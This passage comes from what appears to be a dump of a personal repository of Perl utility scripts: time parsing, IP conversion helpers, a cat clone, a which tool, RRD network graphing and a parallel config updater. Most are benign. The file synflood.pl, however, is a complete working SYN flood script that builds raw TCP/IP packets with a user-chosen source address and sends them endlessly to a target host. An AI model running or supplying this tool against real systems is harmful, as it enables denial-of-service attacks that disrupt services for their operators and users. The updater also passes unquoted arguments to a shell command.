to_utf8(readlink($filename)); 81 | } 82 | sub realpath($) { return to_utf8(Cwd::realpath(@_)); } 83 | sub bsd_glob($) { return map {to_utf8($_)} File::Glob::bsd_glob(@_); } 84 | 85 | # perform a code block and prevent it from blocking by using a timeout 86 | sub do_timeout($&) 87 | { 88 | my ($seconds, $code) = @_; 89 | local $SIG{ALRM} = sub {die "alarm clock restart executing $code"}; 90 | alarm $seconds; # schedule an alarm in a few seconds 91 | eval { 92 | &$code; # execute the code block or subroutine passed in 93 | alarm 0; # cancel the alarm 94 | }; 95 | if ($@ and $@ !~ /^alarm clock restart/) {die $@}; 96 | } # noblock() 97 | 98 | do_timeout 10, sub { print "Hello, World!\n"}; 99 | -------------------------------------------------------------------------------- /timeparse.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | #### takes a time from command line and shows the difference from the time now 3 | #### author: entropond date: Mon Aug 16 09:40:22 MST 2010 4 | 5 | ### packages 6 | use Time::ParseDate; 7 | 8 | my $DEBUG; 9 | STUFFHAPPENS: { 10 | ### arguments 11 | my $timein; 12 | if (@ARGV) { 13 | for (@ARGV) { 14 | if (s/-d//) { $DEBUG = 1; } 15 | } 16 | $timein = join(' ', @ARGV); 17 | } else { 18 | print "feed me a time!"; 19 | } 20 | 21 | ### calculate 22 | my %time = ( 23 | epoch_seconds => (), 24 | junk => (), 25 | istimepast => (), 26 | elapsed_seconds => (), 27 | ); 28 | %time = get_elapsed_seconds($timein); 29 | my %elapsed_ydhms = seconds_to_ydhms($time{elapsed_seconds}); 30 | 31 | ### print 32 | print_debug ($timein, \%time) if $DEBUG; 33 | print_it(\%elapsed_ydhms, \%time); 34 | } 35 | 36 | sub get_elapsed_seconds ($) { 37 | my $timein = shift; 38 | my %time; 39 | ($time{epoch_seconds}, $time{junk}) = parsedate("$timein"); 40 | if ($time{epoch_seconds} eq "") { die "can't parse your input: \t$timein \nparsedate junk: \t$time{junk}\n"; } 41 | 42 | my $epoch_timenow = time; 43 | if ($epoch_timenow > $time{epoch_seconds}) { 44 | $time{istimepast} = "in the past"; 45 | $time{elapsed_seconds} = $epoch_timenow - $time{epoch_seconds}; 46 | } 47 | else { 48 | $time{istimepast} = "in the future"; 49 | $time{elapsed_seconds} = $time{epoch_seconds} - $epoch_timenow; 50 | } 51 | return %time; 52 | } 53 | 54 | sub seconds_to_ydhms ($) { 55 | my $elapsed_seconds = shift; 56 | my $s = $elapsed_seconds; 57 | my ($y, $d, $h, $m); 58 | my %elapsed_ydhms = (); 59 | while ($s >= 31536000) { ++$y; $s -=31536000; } 60 | while ($s >= 86400) { ++$d; $s -=86400; } 61 | while ($s >= 3600) { ++$h; $s -=3600; } 62 | while ($s >= 60) { ++$m; $s -=60; } 63 | $elapsed_ydhms{string} = sprintf("%d years %d days %d hours %d minutes %d seconds", $y, $d, $h, $m, $s); 64 | $elapsed_ydhms{years} = $y; 65 | $elapsed_ydhms{days} = $d; 66 | $elapsed_ydhms{hours} = $h; 67 | $elapsed_ydhms{minutes}= $m; 68 | $elapsed_ydhms{seconds}= $s; 69 | return %elapsed_ydhms; 70 | } 71 | 72 | sub print_debug { 73 | my ($timein, $time_hashref) = @_; 74 | printf "%-22s %s \n", "input:", $timein; 75 | printf "%-22s %s \n", "parsedate junk:", $time_hashref->{junk}; 76 | printf "%-22s %s \n", "epoch-offset-seconds:", $time_hashref->{epoch_seconds}; 77 | printf "%-22s %s \n", "elapsed seconds:", $time_hashref->{elapsed_seconds}; 78 | print "\n"; 79 | } 80 | 81 | sub print_it { 82 | my ($elapsed_ydhms_hashref, $time_hashref) = @_; 83 | print "$elapsed_ydhms_hashref->{string} $time_hashref->{istimepast}"; 84 | print "\n"; 85 | } 86 | 87 | -------------------------------------------------------------------------------- /kill.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | use Smart::Comments; 4 | use File::Temp qw { tempfile tempdir }; 5 | 6 | ## %SIG 7 | 8 | my @keys; 9 | 10 | @keys = keys(%SIG); 11 | @keys = sort(@keys); 12 | foreach my $key (@keys) { 13 | #print "$key\n"; 14 | } 15 | 16 | sub Install_IPC_Signal { # {{{1 17 | 18 | 19 | my $Signal_Code = <<'EOSignal'; # {{{2 20 | package IPC::Signal; 21 | 22 | use 5.003_94; # __PACKAGE__ 23 | use strict; 24 | use vars qw($VERSION @ISA @EXPORT_OK $AUTOLOAD %Sig_num @Sig_name); 25 | 26 | require Exporter; 27 | 28 | $VERSION = '1.00'; 29 | @ISA = qw(Exporter); 30 | @EXPORT_OK = qw(sig_num sig_name sig_translate_setup %Sig_num @Sig_name); 31 | %Sig_num = (); 32 | @Sig_name = (); 33 | 34 | sub sig_num ($); 35 | sub sig_name ($); 36 | 37 | sub sig_translate_setup () { 38 | return if %Sig_num && @Sig_name; 39 | 40 | require Config; 41 | 42 | # In 5.005 the sig_num entries are comma separated and there's a 43 | # trailing 0. 44 | my $num = $Config::Config{'sig_num'}; 45 | if ($num =~ s/,//g) { 46 | $num =~ s/\s+0$//; 47 | } 48 | 49 | my @name = split ' ', $Config::Config{'sig_name'}; 50 | my @num = split ' ', $num; 51 | 52 | @name or die 'No signals defined'; 53 | @name == @num or die 'Signal name/number mismatch'; 54 | 55 | @Sig_num{@name} = @num; 56 | keys %Sig_num == @name or die 'Duplicate signal names present'; 57 | for (@name) { 58 | $Sig_name[$Sig_num{$_}] = $_ 59 | unless defined $Sig_name[$Sig_num{$_}]; 60 | } 61 | } 62 | 63 | # This autoload routine just is just for sig_num() and sig_name(). It 64 | # calls sig_translate_setup() and then snaps the real function definitions 65 | # into place. 66 | 67 | sub AUTOLOAD { 68 | if ($AUTOLOAD ne __PACKAGE__ . '::sig_num' 69 | && $AUTOLOAD ne __PACKAGE__ . '::sig_name') { 70 | require Carp; 71 | Carp::croak("Undefined subroutine &$AUTOLOAD called"); 72 | } 73 | sig_translate_setup; 74 | *sig_num = sub ($) { $Sig_num{$_[0]} }; 75 | *sig_name = sub ($) { $Sig_name[$_[0]] }; 76 | goto &$AUTOLOAD; 77 | } 78 | 79 | #1 80 | 81 | #__END__ 82 | EOSignal 83 | # 2}}} 84 | 85 | my $problems = 0; 86 | my $dir = tempdir( CLEANUP => 0 ); # 87 | print "Using temp dir [$dir] to install IPC::Signal.\n"; 88 | 89 | mkdir "$dir/IPC"; 90 | my $OUT = new IO::File "$dir/IPC/Signal.pm", "w"; 91 | if (defined $OUT) { 92 | print $OUT $Signal_Code; 93 | $OUT->close; 94 | } else { 95 | warn "Failed to install IPC::Signal.pm."; 96 | $problems = 1; 97 | } 98 | 99 | push @INC, $dir; 100 | eval "use IPC::Signal qw /sig_translate_setup/"; 101 | } # 1}}} 102 | 103 | Install_IPC_Signal(); 104 | #use IPC::Signal; 105 | IPC::Signal::sig_translate_setup(); 106 | ### IPC::Signal::%Sig_num 107 | ### @Sig_name 108 | 109 | #print &sig_name("HUP"); 110 | 111 | -------------------------------------------------------------------------------- /iputils.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | # Author: soarpenguin 4 | # First release Jan.3 2014 5 | ################################################## 6 | # usage of iputils.pm, add code like: 7 | # use lib "path"; #path is the file of iputils.pm 8 | # use iputils; 9 | ################################################## 10 | 11 | package iputils; 12 | 13 | use FileHandle; 14 | use Getopt::Long; 15 | use Time::Local qw(timelocal); 16 | use Term::ANSIColor; 17 | use strict; 18 | $|=1; 19 | 20 | BEGIN { 21 | use Exporter(); 22 | use vars qw($VERSION @ISA @EXPORT @EXPORT_OK); 23 | $VERSION = 0.0.1; 24 | @ISA = qw(Exporter); 25 | @EXPORT = qw( 26 | validate_ip ip2long long2ip ip2hex hex2ip 27 | __FUNC__ __func__ get_now_time trim 28 | ); 29 | @EXPORT_OK = qw(&mk_fd_nonblocking &get_winsize); 30 | } 31 | 32 | use constant true => 1; 33 | use constant false => 0; 34 | use constant MAX_IP => 0xffffffff; 35 | use constant MIN_IP => 0x0; 36 | 37 | sub validate_ip { 38 | my $ip = shift; 39 | my @array = (); 40 | 41 | return false unless $ip; 42 | 43 | $ip = trim($ip); 44 | if ($ip =~ /^(\d+\.){3}(\d+)$/) { 45 | @array = split(/\./, $ip); 46 | foreach my $i (@array) { 47 | if ($i > 255 || $i < 0) { 48 | return false; 49 | } 50 | } 51 | return true; 52 | } 53 | return false; 54 | } 55 | 56 | sub ip2long { 57 | my $ip = shift; 58 | my $long = 0; 59 | 60 | my $ret = validate_ip($ip); 61 | if ($ret == false) { 62 | return $long; 63 | } 64 | 65 | my @array = split(/\./, $ip); 66 | foreach my $e (@array) { 67 | $long = ($long << 8 | $e); 68 | } 69 | 70 | return $long; 71 | } 72 | 73 | sub long2ip { 74 | my $l = shift; 75 | 76 | return "0.0.0.0" unless $l; 77 | 78 | if ($l > MAX_IP or $l < MIN_IP) { 79 | return "0.0.0.0"; 80 | } 81 | 82 | return sprintf("%d.%d.%d.%d", 83 | $l >> 24 & 255, $l >> 16 & 255, $l >> 8 & 255, $l & 255); 84 | } 85 | 86 | sub ip2hex { 87 | my $netip = shift; 88 | 89 | return "0.0.0.0" unless $netip; 90 | $netip = ip2long($netip); 91 | 92 | return sprintf("%08x", $netip); 93 | } 94 | 95 | sub hex2ip { 96 | my $netip = shift; 97 | 98 | #$netip = sprintf("%08x", $netip); 99 | 100 | return long2ip($netip); 101 | } 102 | 103 | # set socket nonblocking. 104 | sub mk_fd_nonblocking { 105 | use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK); 106 | 107 | my $fd = shift; 108 | my $flags = fcntl($fd, F_GETFL, 0) 109 | or warn "Can't get flags for the fd: $!\n"; 110 | 111 | $flags = fcntl($fd, F_SETFL, $flags | O_NONBLOCK) 112 | or warn "Can't set flags for the fd: $!\n"; 113 | } 114 | 115 | sub get_now_time { 116 | my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime(time); 117 | my $now_time = sprintf("%d.%d.%d %d:%d:%d", $year + 1900, $mon + 1, $mday, $hour, $min, $sec); 118 | 119 | return "[$now_time]"; 120 | } 121 | 122 | sub trim 123 | { 124 | my $string = shift; 125 | $string =~ s/^\s+//; 126 | $string =~ s/\s+$//; 127 | return $string; 128 | } 129 | 130 | # Retrieve the name of the current function 131 | sub __FUNC__ { (caller(1))[3] . '()' } 132 | # display the name of the current function 133 | sub __func__ { (caller(1))[3] . '(' . join(', ', @_) . ')' } 134 | 135 | 1; 136 | -------------------------------------------------------------------------------- /cat.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | use strict; 4 | use warnings; 5 | use Getopt::Long; 6 | use File::Basename; 7 | #use Smart::Comments; 8 | 9 | my $index = 0; 10 | my $linenum = 1; 11 | my $script = basename $0; 12 | my $debug = 0; 13 | my ($all, $num_nonblank, $number, $tab, $end, $help, $version); 14 | my ($squeeze_blank, $blank); 15 | my $myversion = "0.2.0"; 16 | 17 | my $Usage = " 18 | Usage: $script [option]... [file]... 19 | Concatenate FILE(s), or standard input, to standard output. 20 | 21 | -A, --show-all equivalent to -vET 22 | -b, --number-nonblank number nonempty output lines, overrides -n 23 | -e equivalent to -vE 24 | -E, --show-ends display \$ at end of each line 25 | -n, --number number all output lines 26 | -s, --squeeze-blank suppress repeated empty output lines 27 | -t equivalent to -vT 28 | -T, --show-tabs display TAB characters as ^I 29 | -u (ignored) 30 | -v, --show-nonprinting use ^ and M- notation, except for LFD and TAB 31 | --help display this help and exit 32 | --version output version information and exit 33 | 34 | With no FILE, or when FILE is -, read standard input. 35 | 36 | Examples: 37 | cat f - g Output f\'s contents, then standard input, then g\'s contents. 38 | cat Copy standard input to standard output. 39 | "; 40 | 41 | GetOptions( 42 | 'show-all|A' => \$all, 43 | 'number-nonblank|b' => \$num_nonblank, 44 | 'number|n!' => \$number, #the '!' means can use --[no]number disable -n option 45 | 'squeeze-blank|s' => \$squeeze_blank, 46 | 'show-ends|E' => \$end, 47 | 'show-tabs|T' => \$tab, 48 | 'help|h' => \$help, 49 | 'version|v' => \$version, 50 | 'debug|d' => \$debug # use for debug, turn on Smart::Comments; 51 | ); 52 | 53 | ## $eee 54 | 55 | if($debug) { 56 | # use Smart::Comments; 57 | } 58 | 59 | my @files = @ARGV; 60 | 61 | if($help or $version) { 62 | if($version) { 63 | print "$script version $myversion\n"; 64 | } 65 | &usage(); 66 | } 67 | 68 | if($all) { 69 | $end = 1; 70 | $tab = 1; 71 | } 72 | 73 | if($num_nonblank) { 74 | $number = 1; 75 | } 76 | $blank = 0; 77 | 78 | while(my $line = <>) 79 | { 80 | if($line =~ /^\s*$/) { 81 | if($squeeze_blank) { 82 | if($blank) { 83 | next; 84 | } 85 | } 86 | 87 | if($tab) { 88 | $line =~ s/\t/\^I/sg; 89 | } 90 | 91 | if($end) { 92 | $line =~ s/(\n|\n\r)/\$$1/; 93 | } 94 | 95 | if($num_nonblank) { 96 | print "$line"; 97 | $blank = 1; 98 | next; 99 | } 100 | 101 | if($number) { 102 | printf ("%6d ", $linenum++); 103 | } 104 | 105 | print "$line"; 106 | $blank = 1; 107 | } else { 108 | if($number) { 109 | printf ("%6d ", $linenum++); 110 | } 111 | 112 | if($tab) { 113 | $line =~ s/\t/\^I/sg; 114 | } 115 | 116 | if($end) { 117 | $line =~ s/(\n|\n\r)/\$$1/; 118 | } 119 | 120 | print $line; 121 | $blank = 0; 122 | } 123 | 124 | if(eof) { 125 | print("--------end of $files[$index] file--------\n"); 126 | $index += 1; 127 | } 128 | } 129 | 130 | sub usage { 131 | print $Usage; 132 | exit; 133 | } 134 | 135 | ### @files 136 | ### $index 137 | ### $tab 138 | ### @ARGV 139 | ### $number 140 | ### $help 141 | ### $debug 142 | -------------------------------------------------------------------------------- /netwatch.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # cpan install YAML 4 | # cpan install YAML::Syck 5 | # cpan install RRD::Simple 6 | # cpan install Sys::Statistics::Linux 7 | 8 | use strict; 9 | use warnings; 10 | use Smart::Comments; 11 | use RRD::Simple qw(:all); 12 | use YAML; 13 | use Sys::Statistics::Linux; 14 | my $home; 15 | chomp($home = `pwd`); 16 | ## $home 17 | my $rrdfile = $home . '/myfile.rrd'; 18 | ## $rrdfile 19 | my $rrdfile_tmp = $home . '/myfile_tmp.rrd'; 20 | ## $rrdfile_tmp 21 | my $rrd = RRD::Simple->new( file => "$rrdfile" ); 22 | my $rrd_tmp = RRD::Simple->new( file => "$rrdfile_tmp"); #建立一个临时rrd用于计算5分钟内变化的差值 23 | 24 | unless(-e $rrdfile){ 25 | $rrd->create( #如果没有rrd则进行建立一个rrd 26 | bytesIn => "GAUGE", #定义数值源类型 27 | bytesOut => "GAUGE", 28 | ); 29 | $rrd_tmp->create( 30 | bytesIn => "GAUGE", 31 | bytesOut => "GAUGE", 32 | ); 33 | } 34 | 35 | my ($now_input,$now_output,$input,$output); 36 | 37 | my $lxs = Sys::Statistics::Linux->new( # 这里进行获取网卡的流量（这个模块可以获取多个系统参数， 38 | # 如cpu,process,磁盘IO） 39 | # 可以根据这些可以绘制这种图形。 40 | netstats => { 41 | init => 1, 42 | initfile => '/tmp/netstats.yml', #数据存入yml文件 43 | }, 44 | ); 45 | 46 | my $stat = $lxs->get; 47 | my $config = YAML::LoadFile('/tmp/netstats.yml');#解析yml文件 48 | $now_input = $config->{eth0}->{rxbyt}; 49 | $now_output = $config->{eth0}->{txbyt}; 50 | my $info = $rrd->info("$rrdfile_tmp"); #获取tmp的数据 51 | my $before_input_5=$info->{ds}->{bytesIn}->{last_ds}; #获取5分钟之前的数据 52 | my $before_output_5=$info->{ds}->{bytesOut}->{last_ds}; 53 | if ($before_input_5 eq 'U' || $before_output_5 eq 'U'){ 54 | $before_input_5 = $now_input; 55 | $before_output_5 = $now_output; 56 | } 57 | 58 | $input = $now_input - $before_input_5; #5分钟变化的数据 59 | $output = $now_output - $before_output_5; 60 | 61 | $rrd->update( 62 | bytesIn => "$input", 63 | bytesOut => "$output", 64 | ); 65 | 66 | $rrd_tmp->update( 67 | bytesIn => "$now_input", 68 | bytesOut => "$now_output", 69 | ); 70 | 71 | my $starttime = time; #获取当前unix时间戳 72 | my $endtime = $starttime - 7200; #2个小时之前的unix时间戳 73 | my %rtn = $rrd->graph( #这里是定义每周，每月，每年的图形。 74 | timestamp => "both", 75 | periods => [ qw{ weekly monthly annual} ], #定义所需的周期文件 76 | title => "Network Interface eth0", 77 | vertical_label => "Bytes/sec", 78 | line_thickness => 2, #画线的像素 79 | extended_legend => 1, #打开详细信息 80 | ); 81 | 82 | %rtn = $rrd->graph( #这里是定义一个2小时的图形，去掉下面的end,start为一天的图 83 | destination => "$home", 84 | timestamp => "both", 85 | periods => [ qw{ daily } ], 86 | title => "Network Interface eth0", 87 | vertical_label => "Bytes/sec", 88 | line_thickness => 2, 89 | extended_legend => 2, 90 | end => $starttime, 91 | start =>$endtime, 92 | "COMMENT: " => "", 93 | #此处的COMMENT是有空格的，尼玛真是一个一个空格来对齐下面的格式，靠O__O"… 94 | "GPRINT:bytesOut:AVERAGE: bytesOut平均值%8.2lf%s"=> "", 95 | "COMMENT: " => "", 96 | "GPRINT:bytesIn:AVERAGE: bytesIn平均值%8.2lf%s"=> "", 97 | ); 98 | 99 | my $lastUpdated = $rrd->last; 100 | print "myfile.rrd was last updated at " . 101 | scalar(localtime($lastUpdated)) . "\n"; 102 | 103 | -------------------------------------------------------------------------------- /which: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | 4 | use strict; 5 | 6 | my ($VERSION) = '1.0.0.0' =~ /([.\d]+)/; 7 | 8 | my $opt_a = 0; 9 | 10 | if (@ARGV) { 11 | if ($ARGV [0] eq '-a') { 12 | $opt_a = 1; 13 | } 14 | if ($ARGV [0] eq '--version') { 15 | $0 =~ s{.*/}{}; 16 | print "$0 (Perl bin utils) $VERSION\n"; 17 | exit; 18 | } 19 | if ($ARGV [0] eq '--help') { 20 | $0 =~ s{.*/}{}; 21 | print < $ENV{$PATHVAR}; 63 | } 64 | # Add OS dependent elements. 65 | if ($^O eq 'VMS') { 66 | my $i = 0; 67 | my $path_element = undef; 68 | while (defined($path_element = $ENV{"DCL\$PATH;$i"})) { 69 | push(@PATH, $path_element); 70 | $i++; 71 | } 72 | # PATH may be a search list too 73 | $i = 0; 74 | $path_element = undef; 75 | while (defined($path_element = $ENV{"PATH;$i"})) { 76 | push(@PATH, $path_element); 77 | $i++; 78 | } 79 | # PATH and DCL$PATH are likely to use native dirspecs. 80 | $file_sep = ''; 81 | } 82 | 83 | # trailing file types (NT/VMS) 84 | if (defined($ENV{PATHEXT})) { 85 | @PATHEXT = split /$path_sep/ => $ENV{PATHEXT}; 86 | } 87 | if ($^O eq 'VMS') { @PATHEXT = qw(.exe .com); } 88 | 89 | COMMAND: 90 | foreach my $command (@ARGV) { 91 | if ($^O eq 'VMS') { 92 | my $symbol = `SHOW SYMBOL $command`; # line feed returned 93 | if (!$?) { 94 | print "$symbol"; 95 | next COMMAND unless $opt_a; 96 | } 97 | } 98 | if ($^O eq 'MacOS') { 99 | my @aliases = split /$path_sep/ => $ENV{Aliases}; 100 | foreach my $alias (@aliases) { 101 | if (lc($alias) eq lc($command)) { 102 | # MPW-Perl cannot resolve using `Alias $alias` 103 | print "Alias $alias\n"; 104 | next COMMAND unless $opt_a; 105 | } 106 | } 107 | } 108 | foreach my $dir (@PATH) { 109 | if ($^O eq 'MacOS') { 110 | if (-e "$dir$file_sep$command") { 111 | print "$dir$file_sep$command\n"; 112 | next COMMAND unless $opt_a; 113 | } 114 | } 115 | else { 116 | if (-x "$dir$file_sep$command") { 117 | print "$dir$file_sep$command\n"; 118 | next COMMAND unless $opt_a; 119 | } 120 | } 121 | if (@PATHEXT) { 122 | foreach my $ext (@PATHEXT) { 123 | if (-x "$dir$file_sep$command$ext") { 124 | print "$dir$file_sep$command$ext\n"; 125 | next COMMAND unless $opt_a; 126 | } 127 | } 128 | } 129 | } 130 | } 131 | 132 | -------------------------------------------------------------------------------- /synflood.pl: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/perl 2 | #http://www.binarytides.com/syn-flood-program-in-perl-using-raw-sockets-linux/ 3 | #Program to send out tcp syn packets using raw sockets on linux 4 | 5 | use Socket; 6 | 7 | $src_host = $ARGV[0]; # The source IP/Hostname 8 | $src_port = $ARGV[1]; # The Source Port 9 | $dst_host = $ARGV[2]; # The Destination IP/Hostname 10 | $dst_port = $ARGV[3]; # The Destination Port. 11 | 12 | if(!defined $src_host or !defined $src_port or !defined $dst_host or !defined $dst_port) 13 | { 14 | # print usage instructions 15 | print "Usage: $0 \n"; 16 | exit; 17 | } 18 | else 19 | { 20 | # call the main function 21 | main(); 22 | } 23 | 24 | sub main 25 | { 26 | my $src_host = (gethostbyname($src_host))[4]; 27 | my $dst_host = (gethostbyname($dst_host))[4]; 28 | 29 | # when IPPROTO_RAW is used IP_HDRINCL is not needed 30 | $IPROTO_RAW = 255; 31 | socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW) 32 | or die $!; 33 | 34 | #set IP_HDRINCL to 1, this is necessary when the above protocol is something other than IPPROTO_RAW 35 | #setsockopt($sock, 0, IP_HDRINCL, 1); 36 | 37 | my ($packet) = makeheaders($src_host, $src_port, $dst_host, $dst_port); 38 | 39 | my ($destination) = pack('Sna4x8', AF_INET, $dst_port, $dst_host); 40 | 41 | while(1) 42 | { 43 | send($sock , $packet , 0 , $destination) 44 | or die $!; 45 | } 46 | } 47 | 48 | sub makeheaders 49 | { 50 | $IPPROTO_TCP = 6; 51 | local($src_host , $src_port , $dst_host , $dst_port) = @_; 52 | 53 | my $zero_cksum = 0; 54 | 55 | # Lets construct the TCP half 56 | my $tcp_len = 20; 57 | my $seq = 13456; 58 | my $seq_ack = 0; 59 | 60 | my $tcp_doff = "5"; 61 | my $tcp_res = 0; 62 | my $tcp_doff_res = $tcp_doff . $tcp_res; 63 | 64 | # Flag bits 65 | my $tcp_urg = 0; 66 | my $tcp_ack = 0; 67 | my $tcp_psh = 0; 68 | my $tcp_rst = 0; 69 | my $tcp_syn = 1; 70 | my $tcp_fin = 0; 71 | my $null = 0; 72 | 73 | my $tcp_win = 124; 74 | 75 | my $tcp_urg_ptr = 44; 76 | my $tcp_flags = $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_rst . $tcp_syn . $tcp_fin ; 77 | 78 | my $tcp_check = 0; 79 | 80 | #create tcp header with checksum = 0 81 | my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr); 82 | 83 | my $tcp_pseudo = pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TCP, length($tcp_header) ) . $tcp_header; 84 | 85 | $tcp_check = &checksum($tcp_pseudo); 86 | 87 | #create tcp header with checksum = 0 88 | my $tcp_header = pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $seq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr); 89 | 90 | # Now lets construct the IP packet 91 | my $ip_ver = 4; 92 | my $ip_len = 5; 93 | my $ip_ver_len = $ip_ver . $ip_len; 94 | 95 | my $ip_tos = 00; 96 | my $ip_tot_len = $tcp_len + 20; 97 | my $ip_frag_id = 19245; 98 | my $ip_ttl = 25; 99 | my $ip_proto = $IPPROTO_TCP; # 6 for tcp 100 | my $ip_frag_flag = "010"; 101 | my $ip_frag_oset = "0000000000000"; 102 | my $ip_fl_fr = $ip_frag_flag . $ip_frag_oset; 103 | 104 | # ip header 105 | # src and destination should be a4 and a4 since they are already in network byte order 106 | my $ip_header = pack('H2CnnB16CCna4a4', $ip_ver_len, $ip_tos, $ip_tot_len, $ip_frag_id, $ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_host , $dst_host); 107 | 108 | # final packet 109 | my $pkt = $ip_header . $tcp_header; 110 | 111 | # packet is ready 112 | return $pkt; 113 | } 114 | 115 | 116 | #Function to calculate checksum - used in both ip and tcp headers 117 | sub checksum 118 | { 119 | # This of course is a blatent rip from _the_ GOD, 120 | # W. Richard Stevens. 121 | 122 | my ($msg) = @_; 123 | my ($len_msg,$num_short,$short,$chk); 124 | $len_msg = length($msg); 125 | $num_short = $len_msg / 2; 126 | $chk = 0; 127 | 128 | foreach $short (unpack("S$num_short", $msg)) 129 | { 130 | $chk += $short; 131 | } 132 | 133 | $chk += unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2; 134 | $chk = ($chk >> 16) + ($chk & 0xffff); 135 | 136 | return(~(($chk >> 16) + $chk) & 0xffff); 137 | } 138 | 139 | -------------------------------------------------------------------------------- /update.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env perl 2 | # 3 | 4 | use strict; 5 | use warnings; 6 | use Getopt::Long; 7 | use File::Basename; 8 | use threads; 9 | use threads::shared; 10 | use Data::Dumper; 11 | 12 | my $script = &my_program(); 13 | my $retry = 5; 14 | 15 | my $usage = " 16 | Usage: $script [option]... 17 | 18 | -c file, --configure file 19 | Configure file for provide the service list and configure file 20 | name to update. 21 | 22 | -o file, --oldconf file 23 | Configure file to be replaced. 24 | 25 | -t num, --total num 26 | Total number of services of every classfication. 27 | 28 | -p num, --paral num 29 | Parallel limited of every classfication. 30 | 31 | -r num, --retry num 32 | Number of retries when the update failed. 33 | 34 | -h, --help 35 | Display this help and exit. 36 | 37 | "; 38 | 39 | &main(); 40 | 41 | =begin main 42 | @parameters 43 | =end 44 | =cut 45 | sub main { 46 | my ($conffile, $services, $oldconffile, $total, $parallel); 47 | $conffile = "update.conf"; 48 | $oldconffile = "oldupdate.conf"; 49 | $total = 50; 50 | $parallel = 10; 51 | 52 | my $ret = GetOptions( 53 | 'configure|c=s' => \$conffile, 54 | 'oldconf|o=s' => \$oldconffile, 55 | 'total|t=i' => \$total, 56 | 'paral|p=i' => \$parallel, 57 | 'retry|r=i' => \$retry, 58 | 'help|h' => \&usage 59 | ); 60 | 61 | $| = 1; 62 | 63 | if(! $ret) { 64 | &usage(); 65 | } 66 | 67 | if(! $conffile or ! -e $conffile) { 68 | print "Please provide the configue file for read service list.\n"; 69 | exit 1; 70 | } 71 | 72 | if(! $oldconffile) { 73 | $oldconffile = $conffile; 74 | } 75 | 76 | my @threadpool = (); 77 | 78 | $services = &read_configure($conffile); 79 | # print Dumper(\%{$services}); 80 | 81 | while(my ($key, $value) = each(%{$services})) { 82 | print "$key => $value\n"; 83 | my $thr = threads->create(\&update, $parallel, $total, $key, $value, $oldconffile); 84 | push @threadpool, $thr; 85 | } 86 | 87 | foreach my $elem (@threadpool) { 88 | $elem->join(); 89 | } 90 | 91 | print "done.\n"; 92 | } 93 | 94 | =begin update 95 | @parameters 96 | =end 97 | =cut 98 | sub update { 99 | my ($parallel, $total, $service, $conffile, $oldconffile) = @_; 100 | my $clusternum = $total / $parallel; 101 | my @threadpool = (); 102 | 103 | for(my $idx = 1; $idx <= $parallel; $idx++) { 104 | #&updateconf($idx, $clusternum, $service, $conffile, $oldconffile); 105 | my $t = threads->create(\&updateconf, $idx, $clusternum, 106 | $service, $conffile, $oldconffile); 107 | push @threadpool, $t; 108 | } 109 | 110 | foreach my $elem (@threadpool) { 111 | $elem->join(); 112 | } 113 | } 114 | 115 | =begin updateconf 116 | @parameters 117 | =end 118 | =cut 119 | sub updateconf { 120 | my ($idx, $clusternum, $service, $conffile, $oldconffile) = @_; 121 | my @params = @_; 122 | my $user = `whoami`; 123 | my $end = $idx * $clusternum; 124 | my $start = $end - $clusternum; 125 | my ($prefix, $suffix) = split /\./, $service; 126 | 127 | $end -= 1; 128 | chomp($user); 129 | 130 | for (my $idx = $start; $idx <= $end; $idx++) { 131 | print "$idx:"; 132 | my $times = $retry; 133 | my $host = "$user\@${prefix}$idx.$suffix:$oldconffile"; 134 | 135 | my $ret = &remote_scp($conffile, $host); 136 | 137 | while($ret == 0 and $times > 0) { 138 | $ret = &remote_scp($conffile, $host); 139 | --$times; 140 | } 141 | } 142 | } 143 | 144 | =begin remote_scp 145 | @parameters 146 | =end 147 | =cut 148 | sub remote_scp { 149 | my ($nconf, $oconf) = @_; 150 | 151 | print "scp $nconf $oconf\n"; 152 | `scp $nconf $oconf >/dev/null 2>&1`; 153 | 154 | return $?; 155 | } 156 | 157 | =begin read_configure 158 | @parameters 159 | =end 160 | =cut 161 | sub read_configure { 162 | my $file = shift; 163 | my %services = (); 164 | 165 | open(my $fd, "<", $file); 166 | if(!$fd) { 167 | return undef; 168 | } 169 | 170 | while(<$fd>) { 171 | my ($service, $conf) = split(/\s+/, $_); 172 | 173 | $services{"$service"} = $conf; 174 | } 175 | 176 | close($fd); 177 | return \%services; 178 | } 179 | 180 | =begin my_program 181 | @parameters 182 | =end 183 | =cut 184 | sub my_program { 185 | require File::Basename; 186 | return File::Basename::basename( $0 ); 187 | } 188 | 189 | =begin usage 190 | @parameters 191 | =end 192 | =cut 193 | sub usage { 194 | print $usage; 195 | exit; 196 | } 197 | -------------------------------------------------------------------------------- /bandwidth.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | # display linux interface bandwidths on a regular interval 4 | 5 | # Copyright (c) 2005 Dean Gaudet 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a 8 | # copy of this software and associated documentation files (the "Software"), 9 | # to deal in the Software without restriction, including without limitation 10 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | # and/or sell copies of the Software, and to permit persons to whom the 12 | # Software is furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included 15 | # in all copies or substantial portions of the Software. 16 | # 17 | # 